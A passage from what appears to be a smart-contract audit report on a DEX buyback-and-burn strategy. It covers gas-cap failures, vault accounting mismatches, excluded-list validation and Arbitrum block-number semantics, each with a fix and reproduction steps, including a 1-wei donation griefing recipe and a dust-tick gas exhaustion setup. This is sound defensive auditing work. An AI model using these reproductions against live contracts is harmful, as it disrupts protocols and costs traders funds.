budget derived from gasleft() (or to less than one spacing when gas is short), check gasleft() against a measured per-crossing cost before buying, use a narrower window inside onFeeReceived and keep the full 200 ticks for buyback(), and emit an event in the catch so keepers can react.

**Reproduction**

Local v4 pool (token/ARB, 3000 lpFee, FeeHook 330 bps, full-range liquidity 1e21 at tick 0), strategy with ath = type(uint128).max (tier 100%), maxPerBuy 1e24. Block 101: sell 1e18 then 1000e18 token to tick -5000, burnHeld(): pot = 7.27e18, enough to move the price ~200 ticks. Seed positions [t, t+60] with liquidityDelta 1000 for t = -4980, -4920, -4860, -4800. Block 102: credit a 1e18 fee (transfer + vault.sync), unlock the pool manager and call strategy.onFeeReceived(ARB) as the vault with 400k gas. Measured (test/scratch/Gas2.t.sol): no dust, spacing 60 or 10: 245142 gas, bought 7.85e18; 4 dust positions at spacing 60: 397105 gas, bought 0; 20 dust positions at spacing 10: 392174 gas, bought 0 (also with 8 excluded addresses: 392280 / 393507, bought 0). Expected: one BoughtBack and the pot spent. Actual: the nested swap runs out of the cap, the pot stays untouched and no event records the failure. With 3 crossings inside a real sell (test/scratch/Judge.t.sol:DustTicksTest, warm pool storage) the buyback still fits here; against the README's 327k live base, two crossings (~76k) exceed the cap. buyback() with the same four dust ticks costs 437010 gas.

### 7. Low: withdrawFromVault reconciles pot/pendingWall against the vault balance without first splitting fees already credited in the vault, so pot + pendingWall can exceed the vault's ARB and buildWall reverts

`src/DrawdownBurnStrategy.sol:659`

```
        uint256 held = IERC20(reserve).balanceOf(address(vault));
```

withdrawFromVault compares _pot + _pendingWall to the vault's balance after the withdrawal but ignores vault.totalReceived(reserve) - accounted: fees already credited that _observe() has not yet split. Such fees exist whenever a swap's onFeeReceived did not complete (the 400k cap or any revert is swallowed by the vault while the hook's sync credit stands) or when someone donates ARB and calls vault.sync. pot() and pendingWall() show 0 for that money, so the owner withdraws it as bank; the next _observe() then credits it on top, leaving pot + pendingWall larger than the vault holds. _due() caps buybacks at the vault balance, so the pot spends pendingWall's ARB; _build() pays pendingWall in full through vault.withdraw, which reverts on insufficient balance, so buildWall() reverts for everyone until the owner calls withdrawFromVault(reserve, to, 0) after the next observe, and nothing tells them to. Merged from audit_permissions and audit_flow (both low). Fix: call _observe() at the top of withdrawFromVault (and releaseVault) so the counters are current before the shortfall is computed.

**Reproduction**

Bank 100 ARB synced; strategy installed (accounted == 100e18). A fee of 10 ARB lands and is credited by vault.sync but not observed (pot() == pendingWall() == 0). Owner calls withdrawFromVault(ARB, owner, 110e18): no adjustment because both == 0 <= held == 0. Next block vault.onFeeReceived(ARB) runs. Expected: pot() + pendingWall() <= vault ARB balance (0). Actual: pot() + pendingWall() == 10e18 while the vault holds 0 ('accounting exceeds vault balance: 10000000000000000000 > 0'); a following buildWall() with pending > 0 reverts in FeeVault.withdraw. The specialist's test .imd/reads/proofs/Proof_68d23644b835.t.sol fails on this code and passes once withdrawFromVault calls _observe() first (verified both ways).

### 8. Low: Anyone can suppress in-swap buybacks and make every trader pay for a burn by sending 1 wei of token to the strategy

`src/DrawdownBurnStrategy.sol:250`

```
        if (token.balanceOf(address(this)) != 0) {
```

onFeeReceived takes the burn branch and returns without buying whenever the strategy holds any token at all, bought or donated. A griefer who keeps the strategy's token balance non-zero (1 wei before each trade) ensures every swap's onFeeReceived burns 1 wei (Token.burn with checkpoint pushes, ~80k gas on the trader) and returns, so no buyback runs inside a swap; fees still split, the pot grows, and buybacks only happen when someone pays for buyback() themselves. Accounting is unaffected, so the impact is a degraded automatic path and extra gas on traders. Merged from audit_math and audit_permissions (both low). Fix: only take the burn branch when the held balance is what the last buyback recorded (track it) or above a floor, and leave unsolicited dust to burnHeld()/unlockCallback.

**Reproduction**

Local pool, ATH = deploy mcap. Block 101: two sells fund the pot (pot = 7.27e18); burnHeld() so the strategy holds 0 token. Control (state snapshot): block 102 sell of 1e18 token -> totalSpent() rises (in-swap buyback ran). Attack: revert to the snapshot, transfer 1 wei of token to the strategy, block 102 same sell. Expected: a buyback of min(pot, maxPerBuy). Actual: _burnHeld() burns 1 wei and returns, totalSpent() unchanged (test/scratch/Judge.t.sol:DustDonationTest fails with '8217057593579201 <= 8217057593579201').

### 9. Low: Excluded list is not validated: duplicates or the strategy's own address are subtracted twice and zero the circulating supply, which disables the metric

`src/DrawdownBurnStrategy.sol:695`

```
        _excluded = excluded_;
```

_setExcluded only checks the length. circulatingSupply() subtracts token.balanceOf(address(this)) and then every listed address, so a duplicate entry, or address(this) in the list, subtracts a balance twice; `supply > out ? supply - out : 0` saturates to zero, so marketCapAt() is 0, the tier reads 100% burn and wallTarget() clamps to MAX_SQRT_PRICE-1 (upper at the max tick, so no wall can ever be laid). Owner input only, but a one-line mistake silently disables the metric from the next block. Fix: reject duplicates and address(this) in _setExcluded.

**Reproduction**

Local pool; the deployer holds 999,000 of the 1,000,000 supply. setExcluded([deployer, deployer]). Expected: circulatingSupply() == totalSupply - 999e21 = 999999999999999999946 (the LP'd remainder). Actual: 0; marketCap() == 0 and currentBurnBps() == 10000 (test/scratch/Judge.t.sol:ExcludedDupTest fails with '0 != 999999999999999999946').

### 10. Info: withdrawWall(to == vault) sends wall ARB into the vault without _toVault, so it is credited as a new fee and re-split

`src/DrawdownBurnStrategy.sol:570`

```
        if (reserveOut != 0) poolManager.take(currency1, to, reserveOut);
```

_withdrawWall takes the wall's ARB with poolManager.take(currency1, to, reserveOut) directly. Every other path that returns ARB to the vault goes through _toVault, which brackets the transfer with vault.sync so accounted moves with totalReceived. If the owner passes the vault address as `to` (a natural way to put it back), the ARB lands with lastBalance unchanged; the next hook sync or vault.sync credits it to totalReceived and _observe() splits it into pot/pendingWall by the current tier, re-counting money already counted once. Owner-only and recoverable, so informational. Fix: route to == address(vault) through _toVault (adding the amount to _pendingWall), or reject the vault as a recipient.

**Reproduction**

Wall holds 30 ARB. Owner calls withdrawWall(address(vault)). Vault balance rises by 30 with lastBalance unchanged (FeeVault.sync not called: compare _toVault at lines 707-711). Next sell: the hook's sync credits 30 + fee to totalReceived; strategy _observe computes fresh = 30 + fee and splits it. Expected (compare burnWall/moveWall): accounted advances with the returned ARB and only the fee is split. Actual: the 30 ARB is split a second time.

### 11. Info: On Arbitrum block.number is the L1 block number, so 'once per block' means once per ~12 seconds for the anchor, the tier and the buyback

`src/DrawdownBurnStrategy.sol:426`

```
        if (anchor.lastBuy == block.number) return 0;
```

The contract targets Arbitrum One (README) but every per-block rule (_anchorNow's a.block_ == block.number early return, _due's lastBuy check, _stepped's 200-tick cap per block) uses block.number, which on Arbitrum is the L1 block number and stays constant across roughly 50 L2 blocks (~12 s, longer when the sequencer lags L1). ERC20Checkpoints.sol already notes this for its clock. Consequences: at most one buyback per ~12 s however many fee-bearing swaps land, so the pot accumulates across swaps and more often reaches the size that crosses several ticks (see the gas finding); the anchor moves at most 200 ticks per ~12 s, so after a 20% move the tier read lags for ~10 L1 blocks (~2 min); and within one L1 block the hour-change check is skipped, so the close is processed one L1 block late. Safety is not broken (the buy limit still uses min(tick, anchor)+200), but the documented per-block semantics differ and the manipulation windows in the anchor finding are measured in L1 blocks. Use ArbSys(0x64).arbBlockNumber() for L2-block granularity if that is the intent, or document the L1-block granularity.

**Reproduction**

On Arbitrum One: two sells in consecutive L2 blocks 250 ms apart (same L1 block number). First sell: _observe anchors, splits, buyInside spends the pot and sets anchor.lastBuy = block.number. Second sell: _observe splits its fee into the pot, _due returns 0 because anchor.lastBuy == block.number, so no buyback runs although the README states one buyback per block; the pot carries over until the L1 block number changes (~12 s). Not reproducible in a local EVM where block.number is the L2 block; established from the code's use of block.number and Arbitrum's documented block.number semantics.

---

Judge's submission `353125ab341bb8a938bae5c846d711dfe96bc66a11567d63e59e1880443af132`, accepted on the IdentityMD network. Acceptance means the report met the job's checks;
it is not a guarantee that the code has no other defects.
